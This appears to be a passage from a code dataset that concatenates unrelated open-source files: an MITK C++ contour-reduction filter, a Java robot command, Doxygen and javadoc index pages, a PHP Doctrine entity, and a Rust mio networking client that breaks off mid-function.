reducedPoints->InsertNextPoint(point); reducedPolygon->GetPointIds()->SetId(newNumberOfPoints-1, id); } void mitk::ReduceContourSetFilter::ReduceNumberOfPointsByDouglasPeucker(vtkIdType cellSize, vtkIdType* cell, vtkPoints* points, vtkPolygon* reducedPolygon, vtkPoints* reducedPoints) { //If the cell is too small to obtain a reduced polygon with the given stepsize return if (cellSize <= static_cast<vtkIdType>(m_StepSize*3))return; /* What we do now is (see the Douglas Peucker Algorithm): 1. Divide the current contour in two line segments (start - middle; middle - end), put them into the stack 2. Fetch first line segment and create the following vectors: - v1 = (start;end) - v2 = (start;currentPoint) -> for each point of the current line segment! 3. Calculate the distance from the currentPoint to v1: a. Determine the length of the orthogonal projection of v2 to v1 by: l = v2 * (normalized v1) b. There a three possibilities for the distance then: d = sqrt(lenght(v2)^2 - l^2) if l > 0 and l < length(v1) d = lenght(v2-v1) if l > 0 and l > lenght(v1) d = length(v2) if l < 0 because v2 is then pointing in a different direction than v1 4. Memorize the point with the biggest distance and create two new line segments with it at the end of the iteration and put it into the stack 5. If the distance value D <= m_Tolerance, then add the start and end index and the corresponding points to the reduced ones */ //First of all set tolerance if none is specified if(m_Tolerance < 0) { if(m_MaxSpacing > 0) { m_Tolerance = m_MinSpacing; } else { m_Tolerance = 1.5; } } std::stack<LineSegment> lineSegments; //1. Divide in line segments LineSegment ls2; ls2.StartIndex = cell[cellSize/2]; ls2.EndIndex = cell[cellSize-1]; lineSegments.push(ls2); LineSegment ls1; ls1.StartIndex = cell[0]; ls1.EndIndex = cell[cellSize/2]; lineSegments.push(ls1); LineSegment currentSegment; double v1[3]; double v2[3]; double tempV[3]; double lenghtV1; double currentMaxDistance (0); vtkIdType currentMaxDistanceIndex (0); double l; double d; vtkIdType pointId (0); //Add the start index to the reduced points. From now on just the end indices will be added pointId = reducedPoints->InsertNextPoint(points->GetPoint(cell[0])); reducedPolygon->GetPointIds()->InsertNextId(pointId); while (!lineSegments.empty()) { currentSegment = lineSegments.top(); lineSegments.pop(); //2. Create vectors points->GetPoint(currentSegment.EndIndex, tempV); points->GetPoint(currentSegment.StartIndex, v1); v1[0] = tempV[0]-v1[0]; v1[1] = tempV[1]-v1[1]; v1[2] = tempV[2]-v1[2]; lenghtV1 = vtkMath::Norm(v1); vtkMath::Normalize(v1); int range = currentSegment.EndIndex - currentSegment.StartIndex; for (int i = 1; i < abs(range); ++i) { points->GetPoint(currentSegment.StartIndex+i, tempV); points->GetPoint(currentSegment.StartIndex, v2); v2[0] = tempV[0]-v2[0]; v2[1] = tempV[1]-v2[1]; v2[2] = tempV[2]-v2[2]; //3. Calculate the distance l = vtkMath::Dot(v2, v1); d = vtkMath::Norm(v2); if (l > 0 && l < lenghtV1) { d = sqrt((d*d-l*l)); } else if (l > 0 && l > lenghtV1) { tempV[0] = lenghtV1*v1[0] - v2[0]; tempV[1] = lenghtV1*v1[1] - v2[1]; tempV[2] = lenghtV1*v1[2] - v2[2]; d = vtkMath::Norm(tempV); } //4. Memorize maximum distance if (d > currentMaxDistance) { currentMaxDistance = d; currentMaxDistanceIndex = currentSegment.StartIndex+i; } } //4. & 5. if (currentMaxDistance <= m_Tolerance) { //double temp[3]; int segmentLenght = currentSegment.EndIndex - currentSegment.StartIndex; if (segmentLenght > (int)m_MaxSegmentLenght) { m_MaxSegmentLenght = (unsigned int)segmentLenght; } // MITK_INFO<<"Lenght: "<<abs(segmentLenght); if (abs(segmentLenght) > 25) { unsigned int newLenght(segmentLenght); while (newLenght > 25) { newLenght = newLenght*0.5; } unsigned int divisions = abs(segmentLenght)/newLenght; // MITK_INFO<<"Divisions: "<<divisions; for (unsigned int i = 1; i<=divisions; ++i) { // MITK_INFO<<"Inserting MIDDLE: "<<(currentSegment.StartIndex + newLenght*i); pointId = reducedPoints->InsertNextPoint(points->GetPoint(currentSegment.StartIndex + newLenght*i)); reducedPolygon->GetPointIds()->InsertNextId(pointId); } } // MITK_INFO<<"Inserting END: "<<currentSegment.EndIndex; pointId = reducedPoints->InsertNextPoint(points->GetPoint(currentSegment.EndIndex)); reducedPolygon->GetPointIds()->InsertNextId(pointId); } else { ls2.StartIndex = currentMaxDistanceIndex; ls2.EndIndex = currentSegment.EndIndex; lineSegments.push(ls2); ls1.StartIndex = currentSegment.StartIndex; ls1.EndIndex = currentMaxDistanceIndex; lineSegments.push(ls1); } currentMaxDistance = 0; } } bool mitk::ReduceContourSetFilter::CheckForIntersection (vtkIdType* currentCell, vtkIdType currentCellSize, vtkPoints* currentPoints,/* vtkIdType numberOfIntersections, vtkIdType* intersectionPoints,*/ unsigned int currentInputIndex) { /* If we check the current cell for intersections then we have to consider three possibilies: 1. There is another cell among all the other input surfaces which intersects the current polygon: - That means we have to save the intersection points because these points should not be eliminated 2. There current polygon exists just because of an intersection of another polygon with the current plane defined by the current polygon - That means the current polygon should not be incorporated and all of its points should be eliminated 3. There is no intersection - That mean we can just reduce the current polygons points without considering any intersections */ for (unsigned int i = 0; i < this->GetNumberOfIndexedInputs(); i++) { //Don't check for intersection with the polygon itself if (i == currentInputIndex) continue; //Get the next polydata to check for intersection vtkSmartPointer<vtkPolyData> poly = const_cast<Surface*>( this->GetInput(i) )->GetVtkPolyData(); vtkSmartPointer<vtkCellArray> polygonArray = poly->GetPolys(); polygonArray->InitTraversal(); vtkIdType anotherInputPolygonSize (0); vtkIdType* anotherInputPolygonIDs(nullptr); /* The procedure is: - Create the equation of the plane, defined by the points of next input - Calculate the distance of each point of the current polygon to the plane - If the maximum distance is not bigger than 1.5 of the maximum spacing AND the minimal distance is not bigger than 0.5 of the minimum spacing then the current contour is an intersection contour */ for( polygonArray->InitTraversal(); polygonArray->GetNextCell(anotherInputPolygonSize, anotherInputPolygonIDs);) { //Choosing three plane points to calculate the plane vectors double p1[3]; double p2[3]; double p3[3]; //The plane vectors double v1[3]; double v2[3] = { 0 }; //The plane normal double normal[3]; //Create first Vector poly->GetPoint(anotherInputPolygonIDs[0], p1); poly->GetPoint(anotherInputPolygonIDs[1], p2); v1[0] = p2[0]-p1[0]; v1[1] = p2[1]-p1[1]; v1[2] = p2[2]-p1[2]; //Find 3rd point for 2nd vector (The angle between the two plane vectors should be bigger than 30 degrees) double maxDistance (0); double minDistance (10000); for (vtkIdType j = 2; j < anotherInputPolygonSize; j++) { poly->GetPoint(anotherInputPolygonIDs[j], p3); v2[0] = p3[0]-p1[0]; v2[1] = p3[1]-p1[1]; v2[2] = p3[2]-p1[2]; //Calculate the angle between the two vector for the current point double dotV1V2 = vtkMath::Dot(v1,v2); double absV1 = sqrt(vtkMath::Dot(v1,v1)); double absV2 = sqrt(vtkMath::Dot(v2,v2)); double cosV1V2 = dotV1V2/(absV1*absV2); double arccos = acos(cosV1V2); double degree = vtkMath::DegreesFromRadians(arccos); //If angle is bigger than 30 degrees break if (degree > 30) break; }//for (to find 3rd point) //Calculate normal of the plane by taking the cross product of the two vectors vtkMath::Cross(v1,v2,normal); vtkMath::Normalize(normal); //Determine position of the plane double lambda = vtkMath::Dot(normal, p1); /* Calculate the distance to the plane for each point of the current polygon If the distance is zero then save the currentPoint as intersection point */ for (vtkIdType k = 0; k < currentCellSize; k++) { double currentPoint[3]; currentPoints->GetPoint(currentCell[k], currentPoint); double tempPoint[3]; tempPoint[0] = normal[0]*currentPoint[0]; tempPoint[1] = normal[1]*currentPoint[1]; tempPoint[2] = normal[2]*currentPoint[2]; double temp = tempPoint[0]+tempPoint[1]+tempPoint[2]-lambda; double distance = fabs(temp); if (distance > maxDistance) { maxDistance = distance; } if (distance < minDistance) { minDistance = distance; } }//for (to calculate distance and intersections with currentPolygon) if (maxDistance < 1.5*m_MaxSpacing && minDistance < 0.5*m_MinSpacing) { return false; } //Because we are considering the plane defined by the acual input polygon only one iteration is sufficient //We do not need to consider each cell of the plane break; }//for (to traverse through all cells of actualInputPolyData) }//for (to iterate through all inputs) return true; } void mitk::ReduceContourSetFilter::GenerateOutputInformation() { Superclass::GenerateOutputInformation(); } void mitk::ReduceContourSetFilter::Reset() { for (unsigned int i = 0; i < this->GetNumberOfIndexedInputs(); i++) { this->PopBackInput(); } this->SetNumberOfIndexedInputs(0); this->SetNumberOfIndexedOutputs(0); mitk::Surface::Pointer output = mitk::Surface::New(); this->SetNthOutput(0, output.GetPointer()); m_NumberOfPointsAfterReduction = 0; } void mitk::ReduceContourSetFilter::SetUseProgressBar(bool status) { this->m_UseProgressBar = status; } void mitk::ReduceContourSetFilter::SetProgressStepSize(unsigned int stepSize) { this->m_ProgressStepSize = stepSize; }
bsd-3-clause
FRC867/Nano2014
src/FRC867/Nano2014/commands/StartCompressor.java
983
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package FRC867.Nano2014.commands; /** * * @author Mike */ public class StartCompressor extends CommandBase { public StartCompressor() { requires(compressor); } // Called just before this Command runs the first time protected void initialize() { } // Called repeatedly when this Command is scheduled to run protected void execute() { compressor.Start(); } // Make this return true when this Command no longer needs to run execute() protected boolean isFinished() { return true; } // Called once after isFinished returns true protected void end() { } // Called when another command which requires one or more of the same // subsystems is scheduled to run protected void interrupted() { } }
bsd-3-clause
srinathtv/pepper
pepper/apps_sfdl_hw/ramput_fast_micro_v_inp_gen_hw.cpp
873
#include <apps_sfdl_gen/ramput_fast_micro_v_inp_gen.h> #include <apps_sfdl_hw/ramput_fast_micro_v_inp_gen_hw.h> #include <apps_sfdl_gen/ramput_fast_micro_cons.h> //This file will NOT be overwritten by the code generator, if it already //exists. make clean will also not remove this file. ramput_fast_microVerifierInpGenHw::ramput_fast_microVerifierInpGenHw(Venezia* v_) { v = v_; compiler_implementation.v = v_; } //Refer to apps_sfdl_gen/ramput_fast_micro_cons.h for constants to use when generating input. void ramput_fast_microVerifierInpGenHw::create_input(mpq_t* input_q, int num_inputs) { #if IS_REDUCER == 0 //Default implementation is provided by compiler compiler_implementation.create_input(input_q, num_inputs); #endif // states that should be persisted and may not be generated everytime should be created here. if (generate_states) { } }
bsd-3-clause
m-asama/soma
kernel/html/functions.html
4224
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.12"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>ソーマ・カーネル・プロジェクト: クラスメンバ</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/searchdata.js"></script> <script type="text/javascript" src="search/search.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td id="projectalign" style="padding-left: 0.5em;"> <div id="projectname">ソーマ・カーネル・プロジェクト </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- 構築: Doxygen 1.8.12 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'検索'); </script> <script type="text/javascript" src="menudata.js"></script> <script type="text/javascript" src="menu.js"></script> <script type="text/javascript"> $(function() { initMenu('',true,false,'search.php','検索'); $(document).ready(function() { init_search(); }); }); </script> <div id="main-nav"></div> </div><!-- top --> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> </div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div class="contents"> <div class="textblock">詳解ありクラスメンバの一覧です。各クラスメンバ詳解へのリンクがあります。</div> <h3><a id="index_a"></a>- a -</h3><ul> <li>acpi_apic() : <a class="el" href="classacpi__apic.html#aaa636a85e07fb4355d12635280edf517">acpi_apic</a> </li> <li>acpi_rsdp() : <a class="el" href="classacpi__rsdp.html#a90d04a5ea31ef4a9c8c03dad7da1c87b">acpi_rsdp</a> </li> <li>acpi_table_address_at() : <a class="el" href="classacpi__xsdt.html#a07d908cc4f42f15d3e4529b844763abc">acpi_xsdt</a> </li> <li>acpi_table_at() : <a class="el" href="classacpi__xsdt.html#a4d2326989b3fda0dbb32e480d2b92c97">acpi_xsdt</a> </li> <li>acpi_table_size() : <a class="el" href="classacpi__xsdt.html#a783b4ff904191b61a9a3aa363d5056ef">acpi_xsdt</a> </li> <li>acpi_xsdt() : <a class="el" href="classacpi__xsdt.html#a111850e71447f435e6dab860465772b4">acpi_xsdt</a> </li> <li>acquire() : <a class="el" href="classspinlock.html#af5978d97d07ae5f9e8a4cdc91739cf57">spinlock</a> </li> <li>alloc() : <a class="el" href="classmemory__pool.html#ab5d59f7eeb28c0c983bc68566a375a14">memory_pool&lt; T &gt;</a> </li> <li>append_hex64() : <a class="el" href="classutf8str.html#a33d69e7615a354019452458a3bfdc6ef">utf8str</a> </li> <li>append_sint64() : <a class="el" href="classutf8str.html#ae978ea3d847dafc5144d526ab280e41b">utf8str</a> </li> <li>append_uint64() : <a class="el" href="classutf8str.html#a50b19cd178e6ed1826eeb178b70f6ad0">utf8str</a> </li> <li>append_utf8str() : <a class="el" href="classutf8str.html#a45bfe024b4a081b4b78588c250bf412b">utf8str</a> </li> <li>assign_utf8str() : <a class="el" href="classutf8str.html#ada3fecdd9d8b8bffe810891e3510fe23">utf8str</a> </li> </ul> </div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> 構築: &#160;<a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.12 </small></address> </body> </html>
bsd-3-clause
minf/avrora
doc/avrora/core/isdl/ast/package-frame.html
7802
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!--NewPage--> <HTML> <HEAD> <!-- Generated by javadoc (build 1.4.2_07) on Sat Jul 23 14:54:08 PDT 2005 --> <TITLE> avrora.core.isdl.ast </TITLE> <META NAME="keywords" CONTENT="avrora.core.isdl.ast package"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../stylesheet.css" TITLE="Style"> </HEAD> <BODY BGCOLOR="white"> <FONT size="+1" CLASS="FrameTitleFont"> <A HREF="../../../../avrora/core/isdl/ast/package-summary.html" target="classFrame">avrora.core.isdl.ast</A></FONT> <TABLE BORDER="0" WIDTH="100%" SUMMARY=""> <TR> <TD NOWRAP><FONT size="+1" CLASS="FrameHeadingFont"> Interfaces</FONT>&nbsp; <FONT CLASS="FrameItemFont"> <BR> <A HREF="CodeRebuilder.html" title="interface in avrora.core.isdl.ast" target="classFrame"><I>CodeRebuilder</I></A> <BR> <A HREF="CodeVisitor.html" title="interface in avrora.core.isdl.ast" target="classFrame"><I>CodeVisitor</I></A> <BR> <A HREF="ExprVisitor.html" title="interface in avrora.core.isdl.ast" target="classFrame"><I>ExprVisitor</I></A> <BR> <A HREF="StmtRebuilder.html" title="interface in avrora.core.isdl.ast" target="classFrame"><I>StmtRebuilder</I></A> <BR> <A HREF="StmtVisitor.html" title="interface in avrora.core.isdl.ast" target="classFrame"><I>StmtVisitor</I></A></FONT></TD> </TR> </TABLE> <TABLE BORDER="0" WIDTH="100%" SUMMARY=""> <TR> <TD NOWRAP><FONT size="+1" CLASS="FrameHeadingFont"> Classes</FONT>&nbsp; <FONT CLASS="FrameItemFont"> <BR> <A HREF="Arith.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith</A> <BR> <A HREF="Arith.AddExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.AddExpr</A> <BR> <A HREF="Arith.AndExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.AndExpr</A> <BR> <A HREF="Arith.BinOp.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.BinOp</A> <BR> <A HREF="Arith.CompExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.CompExpr</A> <BR> <A HREF="Arith.DivExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.DivExpr</A> <BR> <A HREF="Arith.MulExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.MulExpr</A> <BR> <A HREF="Arith.NegExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.NegExpr</A> <BR> <A HREF="Arith.OrExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.OrExpr</A> <BR> <A HREF="Arith.ShiftLeftExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.ShiftLeftExpr</A> <BR> <A HREF="Arith.ShiftRightExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.ShiftRightExpr</A> <BR> <A HREF="Arith.SubExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.SubExpr</A> <BR> <A HREF="Arith.UnOp.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.UnOp</A> <BR> <A HREF="Arith.XorExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Arith.XorExpr</A> <BR> <A HREF="AssignStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">AssignStmt</A> <BR> <A HREF="BitExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">BitExpr</A> <BR> <A HREF="BitRangeExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">BitRangeExpr</A> <BR> <A HREF="CallExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">CallExpr</A> <BR> <A HREF="CallStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">CallStmt</A> <BR> <A HREF="CodeRebuilder.DepthFirst.html" title="class in avrora.core.isdl.ast" target="classFrame">CodeRebuilder.DepthFirst</A> <BR> <A HREF="CodeVisitor.Default.html" title="class in avrora.core.isdl.ast" target="classFrame">CodeVisitor.Default</A> <BR> <A HREF="CodeVisitor.DepthFirst.html" title="class in avrora.core.isdl.ast" target="classFrame">CodeVisitor.DepthFirst</A> <BR> <A HREF="CommentStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">CommentStmt</A> <BR> <A HREF="ConversionExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">ConversionExpr</A> <BR> <A HREF="DeclStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">DeclStmt</A> <BR> <A HREF="Expr.html" title="class in avrora.core.isdl.ast" target="classFrame">Expr</A> <BR> <A HREF="ExprVisitor.DepthFirst.html" title="class in avrora.core.isdl.ast" target="classFrame">ExprVisitor.DepthFirst</A> <BR> <A HREF="IfStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">IfStmt</A> <BR> <A HREF="Literal.html" title="class in avrora.core.isdl.ast" target="classFrame">Literal</A> <BR> <A HREF="Literal.BoolExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Literal.BoolExpr</A> <BR> <A HREF="Literal.IntExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Literal.IntExpr</A> <BR> <A HREF="Logical.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical</A> <BR> <A HREF="Logical.AndExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.AndExpr</A> <BR> <A HREF="Logical.BinOp.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.BinOp</A> <BR> <A HREF="Logical.EquExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.EquExpr</A> <BR> <A HREF="Logical.GreaterEquExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.GreaterEquExpr</A> <BR> <A HREF="Logical.GreaterExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.GreaterExpr</A> <BR> <A HREF="Logical.LessEquExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.LessEquExpr</A> <BR> <A HREF="Logical.LessExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.LessExpr</A> <BR> <A HREF="Logical.NequExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.NequExpr</A> <BR> <A HREF="Logical.NotExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.NotExpr</A> <BR> <A HREF="Logical.OrExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.OrExpr</A> <BR> <A HREF="Logical.UnOp.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.UnOp</A> <BR> <A HREF="Logical.XorExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">Logical.XorExpr</A> <BR> <A HREF="MapAssignStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">MapAssignStmt</A> <BR> <A HREF="MapBitAssignStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">MapBitAssignStmt</A> <BR> <A HREF="MapBitRangeAssignStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">MapBitRangeAssignStmt</A> <BR> <A HREF="MapExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">MapExpr</A> <BR> <A HREF="ReturnStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">ReturnStmt</A> <BR> <A HREF="Stmt.html" title="class in avrora.core.isdl.ast" target="classFrame">Stmt</A> <BR> <A HREF="StmtRebuilder.DepthFirst.html" title="class in avrora.core.isdl.ast" target="classFrame">StmtRebuilder.DepthFirst</A> <BR> <A HREF="StmtVisitor.DepthFirst.html" title="class in avrora.core.isdl.ast" target="classFrame">StmtVisitor.DepthFirst</A> <BR> <A HREF="VarAssignStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">VarAssignStmt</A> <BR> <A HREF="VarBitAssignStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">VarBitAssignStmt</A> <BR> <A HREF="VarBitRangeAssignStmt.html" title="class in avrora.core.isdl.ast" target="classFrame">VarBitRangeAssignStmt</A> <BR> <A HREF="VarExpr.html" title="class in avrora.core.isdl.ast" target="classFrame">VarExpr</A></FONT></TD> </TR> </TABLE> </BODY> </HTML>
bsd-3-clause
fxcosta/Zend2SkeletonForProof
module/Book/src/Book/Entity/Author.php
1933
<?php namespace Book\Entity; use Doctrine\ORM\Mapping as ORM; use Zend\Form\Annotation\Hydrator; use Zend\Stdlib\Hydrator\ClassMethods; use Zend\Stdlib\Hydrator as Hy; /** * Author * * @ORM\Table(name="author") * @ORM\Entity * @ORM\Entity(repositoryClass="Book\Repository\AuthorRepository") */ class Author { public function __construct($options = null) { $hydrator = new ClassMethods(); // jeito certo de usar os getters e setters automaticos do doctrine $hydrator->hydrate($options, $this); //Configurator::configure($this, $options); } /** * @var integer * * @ORM\Column(name="id", type="integer", nullable=false) * @ORM\Id * @ORM\GeneratedValue(strategy="IDENTITY") */ private $id; /** * @var string * * @ORM\Column(name="name", type="string", length=255, nullable=false) */ private $name = '0'; /** * @var string * * @ORM\Column(name="email", type="string", length=255, nullable=false) */ private $email = '0'; /** * @return int */ public function getId() { return $this->id; } /** * @param int $id */ public function setId($id) { $this->id = $id; } /** * @return string */ public function getName() { return $this->name; } /** * @param string $name */ public function setName($name) { $this->name = $name; } /** * @return string */ public function getEmail() { return $this->email; } /** * @param string $email */ public function setEmail($email) { $this->email = $email; } public function toArray() { return array('id' => $this->getId(), 'name' => $this->getName(), 'email' => $this->getEmail() ); } }
bsd-3-clause
marcusball/Lag
src/client/lib.rs
19320
#[macro_use] extern crate log; extern crate mio; extern crate byteorder; #[path="../shared/frame.rs"] pub mod frame; use frame::{MessageFrame, ToFrame, Message}; #[path="../shared/state.rs"] pub mod state; use state::{ClientState, Position, Rotation, Transform}; use mio::tcp::*; use mio::TryWrite; use mio::util::Slab; use std::net::SocketAddr; use std::io::{Result, Read, Error, ErrorKind}; use mio::{EventSet, EventLoop, Token, Handler, PollOpt}; use std::thread; use std::thread::JoinHandle; use std::sync::{Arc, RwLock}; //use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::atomic::{AtomicUsize, Ordering}; use std::collections::VecDeque; use std::time::Duration; const CLIENT_TOKEN: mio::Token = mio::Token(1); /// Estimation of the average number of messages that will be received per tick. /// Used as the capacity value in Vec::with_capacity(capacity: usize); const RECEIVED_MESSAGES_PER_TICK: usize = 2; /// Contains data related to the client pub struct ClientData{ pub id: Option<u32>, pub token: Token, interest: EventSet, send_queue: VecDeque<MessageFrame>, // Buffer of received messages receive_queue: Vec<Message>, client_state: ClientState, state_updated: bool, /// Set to true once the client has received initial ClientState from the server is_authenticated_client: bool } impl ClientData{ fn new() -> ClientData{ ClientData { id: None, send_queue: VecDeque::new(), token: CLIENT_TOKEN, interest: EventSet::readable(), receive_queue: Vec::with_capacity(RECEIVED_MESSAGES_PER_TICK), client_state: ClientState::new(CLIENT_TOKEN.as_usize() as u32), state_updated: false, is_authenticated_client: false } } fn set_writable(&mut self){ self.interest.insert(EventSet::writable()); } fn set_read_only(&mut self){ self.interest.remove(EventSet::writable()); self.interest.insert(EventSet::readable()); } fn has_messages_to_send(&self) -> bool{ !self.send_queue.is_empty() } } /// Maintains a reference to the client, the socket, and the thread join handle struct ClientInterface{ socket: TcpStream, thread_handle: Option<JoinHandle<()>>, client: Arc<RwLock<ClientData>>, is_connected: bool, } impl ClientInterface{ fn new(event_loop: Arc<RwLock<EventLoop<ClientInterface>>>, socket: TcpStream, client: Arc<RwLock<ClientData>>) -> Arc<RwLock<ClientInterface>>{ let interface = Arc::new(RwLock::new(ClientInterface{ socket: socket, thread_handle: None, client: client, is_connected: true })); let thread_interface = interface.clone(); let handle = thread::spawn(move||{ loop{ if let Ok(mut client_interface) = thread_interface.write(){ if let Ok(mut event_loop) = event_loop.write(){ let timeout = event_loop.timeout_ms(123, 300).unwrap(); event_loop.run_once(&mut client_interface, None); let _ = event_loop.clear_timeout(timeout); } } if let Ok(client_interface) = thread_interface.try_write(){ if !client_interface.is_connected{ info!("The client has disconnected from the server!"); if let Ok(mut event_loop) = event_loop.write(){ event_loop.shutdown(); } client_interface.socket.shutdown(Shutdown::Both); break; } } thread::sleep(Duration::new(0,100)); } }); if let Ok(mut interface_mut) = interface.write(){ interface_mut.thread_handle = Some(handle); } return interface; } fn register(&mut self, event_loop: &mut EventLoop<ClientInterface>){ if let Ok(client) = self.client.read(){ event_loop.register( &self.socket, client.token, client.interest, PollOpt::edge() | PollOpt::oneshot() ).or_else(|e| { info!("Failed to register server! {:?}", e); Err(e) }).ok(); } } fn reregister(&mut self, event_loop: &mut EventLoop<ClientInterface>){ if let Ok(client) = self.client.read(){ event_loop.reregister(&self.socket, client.token, client.interest, PollOpt::edge()) .or_else(|e|{ info!("I am a sad panda, {:?}", e); Err(e) }).ok(); } } pub fn read(&mut self) -> Result<Message>{ let read_socket = <TcpStream as Read>::by_ref(&mut self.socket); info!("Begin client read message"); // Read the message from the socket let message = Message::read(read_socket); match message{ Ok(message) => { match message{ Message::Text{message: ref message_text} => { info!("Received message: {}", &message_text); }, Message::Ping => { info!("Received Ping!"); }, Message::ClientUpdate(_) =>{ info!("Received client update packet!"); }, Message::GameStateUpdate( _ ) => { info!("Received game state update!"); } } return Ok(message); }, Err(e) => { return Err(e); } } } fn set_writable(&mut self){ if let Ok(mut client) = self.client.write(){ client.set_writable(); } } fn set_read_only(&mut self){ if let Ok(mut client) = self.client.try_write(){ client.set_read_only(); } } fn has_messages_to_send(&self) -> bool{ if let Ok(client) = self.client.try_read(){ return client.has_messages_to_send(); } return false; } fn set_socket_disconnected(&mut self){ self.is_connected = false; } } impl Handler for ClientInterface{ type Timeout = u32; type Message = (); fn tick(&mut self, event_loop: &mut EventLoop<ClientInterface>) { //info!("Begin client tick"); if let Ok(mut data) = self.client.try_write(){ if data.state_updated{ // @TODO: Check if there's already a ClientState message in the output queue let client_state = data.client_state; data.send_queue.push_back(Message::new_client_update_message(&client_state).to_frame()); data.state_updated = false; } } match self.has_messages_to_send(){ true => { self.set_writable(); }, false => { self.set_read_only(); } } if self.is_connected{ self.reregister(event_loop); } //info!("End client tick"); } fn ready(&mut self, event_loop: &mut EventLoop<ClientInterface>, token: Token, events: EventSet) { assert!(token != Token(0), "Token 0, y?????"); if events.is_error(){ info!("Client received error for token {:?}", token); return; } if events.is_hup(){ info!("Oh shit, did the server ({:?}) crash or some shit?!", token); return; } if events.is_writable(){ info!("TIME TO TALK MOTHERFUCKER"); if let Ok(mut client) = self.client.try_write(){ if !client.send_queue.is_empty(){ // let output_buffer = client.send_queue.iter() // .map(|mes| mes.to_bytes() ). // fold(Vec::new(), |mut buf, mut mes|{ buf.append(&mut mes); buf }); // // // match self.socket.try_write(output_buffer.as_slice()){ // Ok(Some(n)) => { // info!("Wrote {} bytes", n); // client.send_queue.clear(); // }, // Ok(None) => { // info!("Nothing happened but it's okay I guess?"); // //client.send_queue.push_back(message_frame); // }, // Err(e) => { // info!("Oh fuck me god fucking damn it fucking shit fuck: {:?}", e); // //client.send_queue.push_back(message_frame); // } // }; if let Some(message_frame) = client.send_queue.pop_front(){ match self.socket.try_write(message_frame.to_bytes().as_slice()){ Ok(Some(n)) => { info!("Wrote {} bytes", n); }, Ok(None) => { info!("Nothing happened but it's okay I guess?"); client.send_queue.push_back(message_frame); }, Err(e) => { info!("Oh fuck me god fucking damn it fucking shit fuck: {:?}", e); client.send_queue.push_back(message_frame); } }; } else{ info!("Failed to pop message from queue!"); } } } else{ info!("Nothing to write..."); } } if events.is_readable(){ info!("OH shit, what've you got to say?"); let received_message = self.read(); match received_message{ Ok(message) => { if let Ok(mut data) = self.client.write(){ if let Message::ClientUpdate(client_state) 